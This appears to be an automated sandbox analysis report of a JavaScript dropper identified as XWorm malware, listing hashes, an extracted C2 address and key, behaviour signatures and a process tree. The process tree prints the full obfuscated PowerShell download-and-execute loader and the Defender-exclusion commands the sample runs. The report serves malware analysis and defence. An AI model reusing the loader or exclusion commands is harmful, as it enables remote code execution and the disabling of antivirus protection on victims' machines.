Analysis
- max time kernel
148s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/09/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
PO300926.js
Resource
win10v2004-20260911-en
General
- Target PO300926.js
- Size 33KB
- Sample260930-kbg2masbrd
- SHA256 ca9d3d85b31f567b771cd886ea7f5ff7b67953d1fe3083241a3f3de554f9b5ca
- MD5 a7d6eb86d48031b2d20dc9ac993f7fd9
- SHA1 9ffc4d42d11bd8a5bc08d49ba873feec4775a6d6
- SHA512 7bfce15affa9546348d2c0bd935dda150e1d18782087215ad4a0b1a538f5d65a3f0aada6d97c46137758a0e9652fd8fc4b58de0fb24f92b653bb9c7a8bdd39ba
- SSDEEP 384:xqoDF5++eUNUjSDz+ZpPoOzdo0c/P/Ea0M88:xqo2XUNvopPooo0c/P/Ec88
- TLSH T187F228E0F7620AB791FB776BAE59C34CC5429D1AD4F9B30CE863204F07BBD8A6502116
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
xworm
-
5.0
-
102.220.160.146:5050
-
p7sMzY5ciavfaEoj
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/5984-919-0x0000000000400000-0x0000000000410000-memory.dmp family_xworm - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2364 3852 powershell.exe 90 - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 2364 powershell.exe 25 2364 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 6064 powershell.exe 4032 powershell.exe 2364 powershell.exe - Enumerates connected drives 3 TTPs 3 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2364 set thread context of 5984 2364 powershell.exe 100 - Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname wscript.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain wscript.exe - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2364 powershell.exe 2364 powershell.exe 6064 powershell.exe 6064 powershell.exe 6064 powershell.exe 4032 powershell.exe 4032 powershell.exe 4032 powershell.exe 5984 Caspol.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2364 powershell.exe Token: SeDebugPrivilege 5984 Caspol.exe Token: SeDebugPrivilege 6064 powershell.exe Token: SeDebugPrivilege 4032 powershell.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 5932 conhost.exe 5984 Caspol.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5932 wrote to memory of 5952 5932 conhost.exe 99 PID 2364 wrote to memory of 5984 2364 powershell.exe 100 PID 2364 wrote to memory of 5984 2364 powershell.exe 100 PID 2364 wrote to memory of 5984 2364 powershell.exe 100 PID 2364 wrote to memory of 5984 2364 powershell.exe 100 PID 2364 wrote to memory of 5984 2364 powershell.exe 100 PID 5984 wrote to memory of 6064 5984 Caspol.exe 101 PID 5984 wrote to memory of 4032 5984 Caspol.exe 106 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\PO300926.js1⤵
- Reads the TCP/IP host and domain name from the registry
PID:1748
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgneDltcHJlZ3VzdGFudCA9IHZzM2h0dHBzOi8vcm91ZycrJ2gtdHJ1dGgtZTA3Mi5wdWJsaWNmJysndHByZXNlbmQud29ya2Vycy5kZXYvemlwb2lxdnMzOyAnKyd4OW12ZW50cmlsb3F1aXN0aWMgPSB2czNDOk9IMFVzZXJzT0gwUHVibGljT0gwRG93bmxvYWRzT0gwcGF5JysnbG9hZCcrJy50eHR2czM7IHg5bWNvbnNlcnZhdGl2ZWx5ID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IHg5bWNvbnNlJysncnZhdGl2ZWx5LkhlYWRlcnMuQWRkKHZzM1VzZXItQWdlbnR2czMsIHZzM01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbicrJzY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAnKycoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMjAuMC4wLjAgU2FmYXJpLzUzNy4zNnZzMyk7IHg5bWNvbnNlcnZhdGl2ZScrJ2x5LkRvd25sb2FkRmlsZSh4OW1wcicrJ2VndXN0YW50LCB4OW0nKyd2ZW50cmknKydsb3F1aXN0aWMpOyB4OW0nKydmaXJlcGxhY2VzID0gKEdldC1Db250ZW50IHg5bXZlbnRyaWxvcXVpc3RpYyAtUmF3KTsnKycgeDltbG92ZXNpY2sgPSB4OW1maXJlcGxhY2VzLlJlcGxhY2UoVk5rKlZOayxWTmtBVk5rKTsgeDltUGFuJysndGFncnVlbGlhbiA9IFtjaGFyW11dJysnKCh4OW1sb3Zlc2ljay4nKydUb0NoYXJBJysncnJheSgpKScrJ1soeDltbG92ZXNpY2suTGUnKyduZ3RoLTEpLi4wXSk7IHg5bScrJ2FzdHJvbGFiZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luIHg5bVBhJysnbnRhZ3J1ZWxpYW4pOyBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKHg5bWFzdHJvbGFiZXMpIGU3RSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVk5rb0xaZmhUeGpIVGptaUFteicrJ3dYY29Ca29oc1c0TDhqZCcrJ2hhSlp4VjMwQmtuYnhseTMrb3h3RFBpUUlYOHpvUzUyUGpoRitZZFI5RXhVdnBaREhkQmt4THdjWmZhMCs1d1BzakZscWxDZHowUUE9Vk5rLFZOa0pvWXJISEZzSkVIJysndycrJ0RDdnplaEI1Ris1NC9BJysnL1NNcFZ6JysnNmhrNlNla2R3MGc9JysnVk5rLFZOa0huVTVteHF4NkpwK1JGajNwdmxUVEhESzNwNGdQU3ZnWWtxJysnUUdZQkJaYWl4S1VUaVpWZkR4Uk1MMHlCS0k0YTZWTmssVk5rRFhOaU9YVmkvcE5FJysneXNGMlYwdWtIJysnWDh4MVJrUnhXJysna3p3bHQzcW1XeG82VT0nKydWTmssVk5rTzhEaGxQT2tCTW5hVXIzTWllTEpDM0w3VUNBaldsNHgnKyd4MElvMicrJyt5clEnKyc1UT1WTmssVk5rVk5rLFZOa3k1alpqbFplSTE4WlcnKycyNFRwVlo0Y2lIQnRibFJCc052ajVhVXM5RmpaVUU9Vk5rLFZOa3BVTjRyYmlJTExmY3hRYzh4aVJyZmhHbTVYRkVhK1V6RytZZmxudUEwRUU9Vk5rLFZOa3dWUnVaTEY1Skd1VjI2QmEnKydpbXdBZHFybk03WnhIOUN1eXcvanczbGRWSkUnKyc9Vk5rLFZOa2ErS3ROK0pZRnI4RFY3bnpaNTlTYjVQeE9oakNlVVVTSzRyUndKb214Rjk1bmMwSVphaGJvclp5VGEyZDNmNUVWJysnTmssVk5rVGtCNWtqcU1Qckp1bjJNSGVMbC9RcFErbXRjU0RIOEpCaVRtZEZncm9PQT1WTmssVk5rVk5rLFZOazl2WDJDaEdFcWlMN0RkMlE2d0Zkd05WTmJhQ3N2ZjA4Vll4VUZpK01GU0U9Vk5rLFZOazdOeTRWWDdlcnF0SHhUbnJNa0pqamptT1duS2EnKycwVnNHS1ZrT1hNdDA5WWc9Vk5rLFZOazJVTVlKNEpRM1UySGJpNEcnKycrSCcrJzlrcE1sUXpQekh5THNrcDgnKydYd1hoUXdSN2M9Vk5rLFZOa1ZtenQya2NVTzAnKycraFNFUXlZTUxnSTA3WCcrJ0ZPWnUnKydYS3QnKydHenBOdkdoU3FPcUk9Vk5rLFZOa1ZOayxWTmtWTmssVk5rVk5rKTsgUmUnKydtb3ZlLUl0ZW0gLVBhdCcrJ2ggeDltdmVudHJpbG8nKydxdWlzdGljIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDbycrJ250aW51ZScpIC1jcmVwbEFjRSAgJ1ZOaycsW0NIQXJdMzkgIC1SRXBsQWNlICAoW0NIQXJdNzkrW0NIQXJdNzIrW0NIQXJdNDgpLFtDSEFyXTkyICAtUkVwbEFjZSAoW0NIQXJdMTE4K1tDSEFyXTExNStbQ0hBcl01MSksW0NIQXJdMzQtUkVwbEFjZSAnZTdFJyxbQ0hBcl0xMjQgLVJFcGxBY2UgJ3g5bScsW0NIQXJdMzYpIHxpZXg=')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5984 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6064
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Caspol.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4032
-
-
-
C:\Windows\system32\conhost.execonhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5932 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵PID:5952
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
- MD5 968cb9309758126772781b83adb8a28f
- SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
- SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
- TLSH T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8964c342b817de10ce53264d40073b2c6a4bf9c74e169be59989ea6ba0001c30
- MD5 ef908e970887c5215bfd22e4941ac173
- SHA1 1a50c834c02b9b1c7dd2049f910e363ba997942d
- SHA512 5fecc14e8e153314aa5e622356493eaa531c01c5ba1ac61d65564b046b265fc8edcaa312fa07052a2a0296a76d001c63407c2c28fe02af88ad083594cea8903e
- TLSH T113216527F3DC8961CC96123A009E9C1076B6C3DB819ECF9F6FC4D614A17F998CB61694
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 18KB
- SHA256 2e44ec450efc06a93237e9a9d8095cc7c164cdb7fa564371daeae2a301d65f1b
- MD5 a6d5580fc4dfb3407e38ceefbbc10d79
- SHA1 e6d292270cbd73398ce4547c3292241cb77e7b92
- SHA512 d0881834953547d9faebae8ec424ddaf49dbe2957e3a0b39d9346b13a60b7fe63882211d3b1b3c97f9033d75cb64f35d7338e6ab95ef0547082b20e81b276e96
- SSDEEP 384:wsf+BY9i+cuK9MBBizzoPo9PG2wfK6seYwME/F03SoZJfYSgojEDkSQ0gdMtkKhD:9fmudoggPG2wfNfruS8W2ED/Cm3
- TLSH T15C82E76D611F16C3C48623B8E11B055FE8F2DD8D531A13D97B1E9F3B8AAC69E903C548
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhs5rtvn.dh1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH